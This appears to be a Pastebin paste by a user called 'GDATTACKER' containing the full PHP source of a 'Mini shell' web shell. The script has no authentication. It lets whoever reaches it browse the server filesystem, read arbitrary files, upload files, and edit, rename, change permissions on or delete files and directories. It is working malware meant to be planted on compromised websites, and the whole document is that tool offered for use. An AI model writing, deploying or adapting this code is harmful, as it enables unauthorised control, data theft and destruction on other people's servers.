Advertisement
GDATTACKER

file

Oct 7th, 2016
125
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 9.72 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. set_time_limit(0);
  4. if(get_magic_quotes_gpc()){
  5.     foreach($_POST as $key=>$value){
  6.         $_POST[$key] = stripslashes($value);
  7.     }
  8. }
  9. echo '<!DOCTYPE HTML>
  10. <HTML>
  11. <HEAD>
  12. <title>Mini shell</title>
  13. <style>
  14. body{
  15.    font-family: "Typesenses", cursive;
  16.    background-image:url(http://turbo.designwoop.com/uploads/2012/05/8-580x276.jpg);
  17.    background-position:fixed;
  18.    text-shadow:text-shadow:black 2px 0px 12px; color:#6A0888;
  19. }
  20. #content tr:hover{
  21.    background-color: #FFBF00;
  22.    color:#6A0888;
  23. }
  24. #content .first{
  25.    background-color: #FFBF00;
  26. }
  27. #content .first:hover{
  28.    background-color:  #FFBF00;
  29.    color:#6A0888;
  30. }
  31. table{
  32.    border: 1px #FEFEFE dotted;
  33. }
  34. H1{
  35.    font-family: "Typesenses", cursive;
  36. }
  37. a{
  38.    color: black;
  39.    text-decoration: none;
  40. }
  41. a:hover{
  42.    color: black;
  43.    color:black;
  44. }
  45. input,select,textarea{
  46.    border: 1px #000000 solid;
  47.    -moz-border-radius: 5px;
  48.    -webkit-border-radius:5px;
  49.    border-radius:5px;
  50. }
  51. </style>
  52. </HEAD>
  53. <BODY>
  54. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  55. <tr><td>Current Path : ';
  56. if(isset($_GET['path'])){
  57.     $path = base64_decode($_GET['path']);
  58. }else{
  59.     $path = getcwd();
  60. }
  61. $pathen = base64_encode($path);
  62. $path = str_replace('\\','/',$path);
  63. $paths = explode('/',$path);
  64. foreach($paths as $id=>$pat){
  65.     if($pat == '' && $id == 0){
  66.         $a = true;
  67.         echo '<a href="?path='.base64_encode("/").'">/</a>';
  68.         continue;
  69.     }
  70.     if($pat == '') continue;
  71.     echo '<a href="?path=';
  72.     $linkpath = '';
  73.     for($i=0;$i<=$id;$i++){
  74.         $linkpath .= "$paths[$i]";
  75.         if($i != $id) $linkpath .= "/";
  76.     }
  77.     echo base64_encode($linkpath);
  78.     echo '">'.$pat.'</a>/';
  79. }
  80. echo '</td></tr><tr><td>';
  81. if(isset($_FILES['file'])){
  82.     if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  83.         echo '<font color="green">File Upload Done.</font><br />';
  84.     }else{
  85.         echo '<font color="red">File Upload Error.</font><br />';
  86.     }
  87. }
  88. echo '<form enctype="multipart/form-data" method="POST">
  89. Upload File : <input type="file" name="file" />
  90. <input type="submit" value="upload" />
  91. </form>
  92. </td></tr>';
  93. if(isset($_GET['filesrc'])){
  94.     echo "<tr><td>Current File : ";
  95.     echo base64_decode($_GET['filesrc']);
  96.     echo '</tr></td></table><br />';
  97.     echo('<pre>'.htmlspecialchars(file_get_contents(base64_decode($_GET['filesrc']))).'</pre>');
  98. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  99.     echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  100.     if($_POST['opt'] == 'chmod'){
  101.         if(isset($_POST['perm'])){
  102.             if(chmod($_POST['path'],$_POST['perm'])){
  103.                 echo '<font color="green">Change Permission Done.</font><br />';
  104.             }else{
  105.                 echo '<font color="red">Change Permission Error.</font><br />';
  106.             }
  107.         }
  108.         echo '<form method="POST">
  109.        Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  110.        <input type="hidden" name="path" value="'.$_POST['path'].'">
  111.        <input type="hidden" name="opt" value="chmod">
  112.        <input type="submit" value="Go" />
  113.        </form>';
  114.     }elseif($_POST['opt'] == 'rename'){
  115.         if(isset($_POST['newname'])){
  116.             if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  117.                 echo '<font color="green">Change Name Done.</font><br />';
  118.             }else{
  119.                 echo '<font color="red">Change Name Error.</font><br />';
  120.             }
  121.             $_POST['name'] = $_POST['newname'];
  122.         }
  123.         echo '<form method="POST">
  124.        New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  125.        <input type="hidden" name="path" value="'.$_POST['path'].'">
  126.        <input type="hidden" name="opt" value="rename">
  127.        <input type="submit" value="Go" />
  128.        </form>';
  129.     }elseif($_POST['opt'] == 'edit'){
  130.         if(isset($_POST['src'])){
  131.             $fp = fopen($_POST['path'],'w');
  132.             if(fwrite($fp,$_POST['src'])){
  133.                 echo '<font color="green">Edit File Done.</font><br />';
  134.             }else{
  135.                 echo '<font color="red">Edit File Error.</font><br />';
  136.             }
  137.             fclose($fp);
  138.         }
  139.         echo '<form method="POST">
  140.        <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  141.        <input type="hidden" name="path" value="'.$_POST['path'].'">
  142.        <input type="hidden" name="opt" value="edit">
  143.        <input type="submit" value="Go" />
  144.        </form>';
  145.     }
  146.     echo '</center>';
  147. }else{
  148.     echo '</table><br /><center>';
  149.     if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  150.         if($_POST['type'] == 'dir'){
  151.             if(rmdir($_POST['path'])){
  152.                 echo '<font color="green">Delete Dir Done.</font><br />';
  153.             }else{
  154.                 echo '<font color="red">Delete Dir Error.</font><br />';
  155.             }
  156.         }elseif($_POST['type'] == 'file'){
  157.             if(unlink($_POST['path'])){
  158.                 echo '<font color="green">Delete File Done.</font><br />';
  159.             }else{
  160.                 echo '<font color="red">Delete File Error.</font><br />';
  161.             }
  162.         }
  163.     }
  164.     echo '</center>';
  165.     $scandir = scandir($path);
  166.     echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  167.    <tr class="first">
  168.        <td><center>Name</center></td>
  169.        <td><center>Size</center></td>
  170.        <td><center>Permissions</center></td>
  171.        <td><center>Options</center></td>
  172.    </tr>';
  173.     foreach($scandir as $dir){
  174.         if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
  175.         $dirlink = base64_encode("$path/$dir");
  176.         echo "<tr>
  177.        <td><a href=\"?path=$dirlink\">$dir</a></td>
  178.        <td><center>--</center></td>
  179.        <td><center>";
  180.         if(is_writable("$path/$dir")) echo '<font color="green">';
  181.         elseif(!is_readable("$path/$dir")) echo '<font color="red">';
  182.         echo perms("$path/$dir");
  183.         if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
  184.        
  185.         echo "</center></td>
  186.        <td><center><form method=\"POST\" action=\"?option&path=$pathen\">
  187.        <select name=\"opt\">
  188.         <option value=\"\"></option>
  189.        <option value=\"delete\">Delete</option>
  190.        <option value=\"chmod\">Chmod</option>
  191.        <option value=\"rename\">Rename</option>
  192.        </select>
  193.        <input type=\"hidden\" name=\"type\" value=\"dir\">
  194.        <input type=\"hidden\" name=\"name\" value=\"$dir\">
  195.        <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
  196.        <input type=\"submit\" value=\">\" />
  197.        </form></center></td>
  198.        </tr>";
  199.     }
  200.     echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  201.     foreach($scandir as $file){
  202.         if(!is_file("$path/$file")) continue;
  203.         $size = filesize("$path/$file")/1024;
  204.         $size = round($size,3);
  205.         if($size >= 1024){
  206.             $size = round($size/1024,2).' MB';
  207.         }else{
  208.             $size = $size.' KB';
  209.         }
  210.         $filelink = base64_encode("$path/$file");
  211.         echo "<tr>
  212.        <td><a href=\"?filesrc=$filelink&path=$pathen\">$file</a></td>
  213.        <td><center>".$size."</center></td>
  214.        <td><center>";
  215.         if(is_writable("$path/$file")) echo '<font color="green">';
  216.         elseif(!is_readable("$path/$file")) echo '<font color="red">';
  217.         echo perms("$path/$file");
  218.         if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
  219.         echo "</center></td>
  220.        <td><center><form method=\"POST\" action=\"?option&path=$pathen\">
  221.        <select name=\"opt\">
  222.         <option value=\"\"></option>
  223.        <option value=\"delete\">Delete</option>
  224.        <option value=\"chmod\">Chmod</option>
  225.        <option value=\"rename\">Rename</option>
  226.        <option value=\"edit\">Edit</option>
  227.        </select>
  228.        <input type=\"hidden\" name=\"type\" value=\"file\">
  229.        <input type=\"hidden\" name=\"name\" value=\"$file\">
  230.        <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
  231.        <input type=\"submit\" value=\">\" />
  232.        </form></center></td>
  233.        </tr>";
  234.     }
  235.     echo '</table>
  236.    </div>';
  237. }
  238. echo '
  239. </BODY>
  240. </HTML>';
  241. function perms($file){
  242.     $perms = @fileperms($file);
  243. if (($perms & 0xC000) == 0xC000) {
  244.     // Socket
  245.     $info = 's';
  246. } elseif (($perms & 0xA000) == 0xA000) {
  247.     // Symbolic Link
  248.     $info = 'l';
  249. } elseif (($perms & 0x8000) == 0x8000) {
  250.     // Regular
  251.     $info = '-';
  252. } elseif (($perms & 0x6000) == 0x6000) {
  253.     // Block special
  254.     $info = 'b';
  255. } elseif (($perms & 0x4000) == 0x4000) {
  256.     // Directory
  257.     $info = 'd';
  258. } elseif (($perms & 0x2000) == 0x2000) {
  259.     // Character special
  260.     $info = 'c';
  261. } elseif (($perms & 0x1000) == 0x1000) {
  262.     // FIFO pipe
  263.     $info = 'p';
  264. } else {
  265.     // Unknown
  266.     $info = 'u';
  267. }
  268. // Owner
  269. $info .= (($perms & 0x0100) ? 'r' : '-');
  270. $info .= (($perms & 0x0080) ? 'w' : '-');
  271. $info .= (($perms & 0x0040) ?
  272.             (($perms & 0x0800) ? 's' : 'x' ) :
  273.             (($perms & 0x0800) ? 'S' : '-'));
  274. // Group
  275. $info .= (($perms & 0x0020) ? 'r' : '-');
  276. $info .= (($perms & 0x0010) ? 'w' : '-');
  277. $info .= (($perms & 0x0008) ?
  278.             (($perms & 0x0400) ? 's' : 'x' ) :
  279.             (($perms & 0x0400) ? 'S' : '-'));
  280. // World
  281. $info .= (($perms & 0x0004) ? 'r' : '-');
  282. $info .= (($perms & 0x0002) ? 'w' : '-');
  283. $info .= (($perms & 0x0001) ?
  284.             (($perms & 0x0200) ? 't' : 'x' ) :
  285.             (($perms & 0x0200) ? 'T' : '-'));
  286.     return $info;
  287. }
  288. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement